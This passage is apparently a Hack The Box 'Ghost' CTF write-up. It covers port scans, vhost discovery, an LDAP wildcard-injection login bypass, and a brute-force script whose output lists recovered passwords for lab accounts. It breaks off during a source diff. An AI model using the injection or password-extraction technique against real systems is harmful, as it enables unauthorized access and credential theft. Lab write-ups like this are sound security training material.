<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 10.129.231.105</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-14 18:13 ACDT
Nmap scan report for 10.129.231.105
Host is up (0.34s latency).
Not shown: 65508 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
2179/tcp  open  vmrdp
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
8008/tcp  open  http
8443/tcp  open  https-alt
9389/tcp  open  adws
49443/tcp open  unknown
49664/tcp open  unknown
49669/tcp open  unknown
49677/tcp open  unknown
51774/tcp open  unknown
60249/tcp open  unknown
60388/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 199.07 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49677,51774,60249,60388 10.129.231.105</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-14 18:23 ACDT
Nmap scan report for 10.129.231.105
Host is up (0.34s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-14 07:53:30Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.231.105:1433: 
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
|_ssl-date: 2025-01-14T07:55:24+00:00; 0s from scanner time.
| ms-sql-info: 
|   10.129.231.105:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-14T07:41:07
|_Not valid after:  2055-01-14T07:41:07
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2025-01-14T07:54:49+00:00
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2025-01-13T07:38:19
|_Not valid after:  2025-07-15T07:38:19
|_ssl-date: 2025-01-14T07:55:24+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-title: Ghost
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
| tls-alpn: 
|_  http/1.1
| http-title: Ghost Core
|_Requested resource was /login
|_http-server-header: nginx/1.18.0 (Ubuntu)
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
51774/tcp open  msrpc         Microsoft Windows RPC
60249/tcp open  msrpc         Microsoft Windows RPC
60388/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-14T07:54:51
|_  start_date: N/A

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   349.55 ms 10.10.14.1
2   343.20 ms 10.129.231.105

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.79 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The scan results are typical of a domain controller, with DNS, Kerberos, SMB and LDAP all open. RDP and WInRM ports are also open, which could be leveraged for initial access. The LDAP scan identified the hostname <code class="language-plaintext highlighter-rouge">dc01.ghost.htb</code>, and a subdomain <code class="language-plaintext highlighter-rouge">core.ghost.htb</code> was also found in the SSL cert of a web server.</p>

<p>I’ll add all of them in <code class="language-plaintext highlighter-rouge">/etc/hosts</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># HTB machine Ghost</span>
10.129.231.105  ghost.htb   dc01.ghost.htb  core.ghost.htb
</code></pre></div></div>

<p>Speaking of web servers, looks like there’s 4 in total! Two of them are running Nginx with an Ubuntu label, which suggests that they are hosted inside Linux containers.</p>

<h3 id="web-apps-overview">Web Apps Overview:</h3>

<p>Port 80 returned a 404, while port 443 never responded.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/port80_404.png?raw=true" alt="" /></p>

<p>Port 8008 is a Ghost CMS page, with a single post by <code class="language-plaintext highlighter-rouge">Kathryn Holland</code>.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/port80_ghostcms.png?raw=true" alt="" /></p>

<p>Running a virtual host scan would identify two more subdomains: <code class="language-plaintext highlighter-rouge">gitea</code> and <code class="language-plaintext highlighter-rouge">intranet</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">gobuster vhost -u http://ghost.htb:8008 -w /usr/share/seclists/Discovery/DNS/namelist.txt -t 50 -o bust/vhost_bq --append-domain</span>
<span class="cmd-output">
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://ghost.htb:8008
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/namelist.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: gitea.ghost.htb:8008 Status: 200 [Size: 13653]
Found: intranet.ghost.htb:8008 Status: 307 [Size: 3968] [--&gt; /login]
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">gitea.ghost.htb</code> is a standard Gitea installation with two users. Not much could be done without valid creds.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/gitea_home.png?raw=true" alt="" /></p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/gitea_users.png?raw=true" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">intranet.ghost.htb</code> looks like a custom-built app, but also requires authentication.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/intranet_login.png?raw=true" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">core.ghost.htb</code> on port 8443 is another custom-built application. Authentication is handled by AD Federation Service.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_home.png?raw=true" alt="" /></p>

<p>Clicking on Login redirects me to <code class="language-plaintext highlighter-rouge">federation.ghost.htb</code>, which can be accessed after adding the subdomain to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>. It is yet another login page.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/adfs_login.png?raw=true" alt="" /></p>

<p>The app is using SAML authentication, based on the <code class="language-plaintext highlighter-rouge">SAMLRequest</code> parameter. <a href="https://learn.microsoft.com/en-us/entra/identity-platform/single-sign-on-saml-protocol">SAML</a> is an XML-based standard for Single Sign-On (SSO), and when used with ADFS, it enables users to authenticate directly with their domain account.</p>

<p>In general, this type of authentication is more secure than password-based ones, as it’s very difficult to forge/bypass without control of ADFS.</p>

<h3 id="tcp8008---intranet">TCP8008 - Intranet</h3>

<p>Custom apps are often the easiest entrypoint, so I’ll start with Intranet first.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/intranet_invalid_login.png?raw=true" alt="" /></p>

<p>I tried logging in with a few default credentials, but it all failed. However, the POST request showed something interesting.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/intranet_login_POST.png?raw=true" alt="" /></p>

<p>The parameters for username and password are <code class="language-plaintext highlighter-rouge">1_ldap-username</code> and <code class="language-plaintext highlighter-rouge">1_ldap-secret</code> respectively, suggesting that credentials are stored in LDAP instead of a database, and each login request would query LDAP to compare the credentials.</p>

<h3 id="ldap-wildcard-abuse">LDAP Wildcard Abuse:</h3>

<p>If the username and password are used directly in the LDAP query, the application is highly likely to be vulnerable to LDAP injection. A pretty well-known example of this is wildcard abuse, where an attacker inputs a wildcard character (<code class="language-plaintext highlighter-rouge">*</code>) to bypass all filters or validation checks implemented on the backend.</p>

<p>In the login POST request, by setting both the username and password as an asterisk, the server is tricked to authenticate me and returned a session token.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/intranet_ldap_inject.png?raw=true" alt="" /></p>

<p>Using the token, I can log in to Intranet as <code class="language-plaintext highlighter-rouge">kathryn.holland</code>:</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/intranet_home.png?raw=true" alt="" /></p>

<p>The News page mentions an ongoing Git migration and the Intranet portal development. The key takeaway is that <code class="language-plaintext highlighter-rouge">gitea_temp_principal</code> is the only enabled account on Gitea, and it shares the same password as the Intranet account.</p>

<p>Credentials for the site are also said to be temporary, so it’s unlikely they can be reused for domain authentication.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/intranet_users.png?raw=true" alt="" /></p>

<p>The Users tab shows a list of all Intranet users. Based on the “Member of” column, they seem to also be domain users, and <code class="language-plaintext highlighter-rouge">justin.bradley</code> is in the Remote Management Users group.</p>

<p>I’ll note them all down, as these may be useful for password spraying later on.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/intranet_blogposts.png?raw=true" alt="" /></p>

<p>Forums contains several discussion threads. The top one is complaining about connection issues to <code class="language-plaintext highlighter-rouge">bitbucket.ghost.htb</code>, which Kathryn explained it’s due to a missing DNS entry.</p>

<h3 id="gitea-password-brute-force">Gitea Password Brute-Force:</h3>

<p>That pretty much covers all of Intranet, I haven’t found anything beyond what’s already mentioned. The next thing to look at is Gitea, but I’ll need to find the password of <code class="language-plaintext highlighter-rouge">gitea_temp_principal</code> first.</p>

<p>To do this, I’ll exploit the wildcard injection differently. Rather than bypassing login, the wildcard can be leveraged to recover the password itself. For example, if the password is “<code class="language-plaintext highlighter-rouge">abcd</code>”, inputs of “<code class="language-plaintext highlighter-rouge">*</code>”, “<code class="language-plaintext highlighter-rouge">a*</code>”, “<code class="language-plaintext highlighter-rouge">ab*</code>” or “<code class="language-plaintext highlighter-rouge">abc*</code>” would all result in successful authentication. By using this logic, an attacker can programmatically iterate through the key space and recover the password character-by-character.</p>

<p>I’ve created a Python script for the brute-forcing, which can be found <a href="https://github.com/ch3ng625/CTF-scripts/blob/main/HTB/Ghost/ldap_brute.py">here</a>. While I’m at it, I might as well recover the passwords for all Intranet users:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">python3.11 ldap_brute.py kathryn.holland cassandra.shelton robert.steeves florence.ramirez justin.bradley arthur.boyd beth.clark charles.gray jason.taylor intranet_principal gitea_temp_principal</span>
<span class="cmd-output">
[*] Brute-forcing password for kathryn.holland...
[*] Testing value: fgevlfymxrksvu9b;
[+] Password for kathryn.holland found: fgevlfymxrksvu9b
[*] Brute-forcing password for cassandra.shelton...
[*] Testing value: zdjx9fh57cbc4xcr;
[+] Password for cassandra.shelton found: zdjx9fh57cbc4xcr
[*] Brute-forcing password for robert.steeves...
[*] Testing value: deerdxk8p2xnukxl;
[+] Password for robert.steeves found: deerdxk8p2xnukxl
[*] Brute-forcing password for florence.ramirez...
[*] Testing value: tc6nhytlemglqoat;
[+] Password for florence.ramirez found: tc6nhytlemglqoat
[*] Brute-forcing password for justin.bradley...
[*] Testing value: rbhuycyjxfjp4c69;
[+] Password for justin.bradley found: rbhuycyjxfjp4c69
[*] Brute-forcing password for arthur.boyd...
[*] Testing value: lhhx3kylwqdjxjqp;
[+] Password for arthur.boyd found: lhhx3kylwqdjxjqp
[*] Brute-forcing password for beth.clark...
[*] Testing value: qdcskgpdhyb4jfv6;
[+] Password for beth.clark found: qdcskgpdhyb4jfv6
[*] Brute-forcing password for charles.gray...
[*] Testing value: lwfpjgzlcyx64kdl;
[+] Password for charles.gray found: lwfpjgzlcyx64kdl
[*] Brute-forcing password for jason.taylor...
[*] Testing value: qudsvb6kvcxuumaq;
[+] Password for jason.taylor found: qudsvb6kvcxuumaq
[*] Brute-forcing password for intranet_principal...
[*] Testing value: rvxyrc2okalucrep;
[+] Password for intranet_principal found: rvxyrc2okalucrep
[*] Brute-forcing password for gitea_temp_principal...
[*] Testing value: szrr8kpc3z6onlqf;
<span style="color: lightgreen;">[+] Password for gitea_temp_principal found: szrr8kpc3z6onlqf</span>
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>With <code class="language-plaintext highlighter-rouge">gitea_temp_principal</code>’s password, I can log in and access an organization <code class="language-plaintext highlighter-rouge">ghost-dev</code>:</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/gitea_org.png?raw=true" alt="" /></p>

<p>It contains two repositories: <code class="language-plaintext highlighter-rouge">blog</code> and <code class="language-plaintext highlighter-rouge">intranet</code>.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/gitea_repos.png?raw=true" alt="" /></p>

<p>I’ve also attempted to reuse these creds for domain login. As expected though, none of them worked.</p>

<h3 id="gitea---blog">Gitea - Blog:</h3>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/gitea_blog.png?raw=true" alt="" /></p>

<p>This repo contains 4 files related to the ongoing development of the integration between the Ghost blog and Intranet. The Readme notes that the integration uses an API key stored as an environment variable, as well as showing the key used for accessing Ghost’s API endpoints.</p>

<p><code class="language-plaintext highlighter-rouge">posts-public.js</code> is a modified version of Ghost CMS’s <a href="https://github.com/TryGhost/Ghost/blob/main/ghost/core/core/server/api/endpoints/posts-public.js">source code</a>. This version has additional functionalities that pulls data from local files when users query post information.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">diff original-posts-public.js htb-posts-public.js</span>
<span class="cmd-output">
26,31d25
<span style="color: red;">&lt; /**</span>
<span style="color: red;">&lt;  *</span>
<span style="color: red;">&lt;  * @param {import('@tryghost/api-framework').Frame} frame</span>
<span style="color: red;">&lt;  * @param {object} options</span>
<span style="color: red;">&lt;  * @returns {object}</span>
<span style="color: red;">&lt;  */</span>
61,63c55
<span style="color: red;">&lt; </span>
<span style="color: red;">&lt; /** @type {import('@tryghost/api-framework').Controller} */</span>
<span style="color: red;">&lt; const controller = {</span>
---
<span style="color: lightgreen;">&gt; module.exports = {</span>
111c103
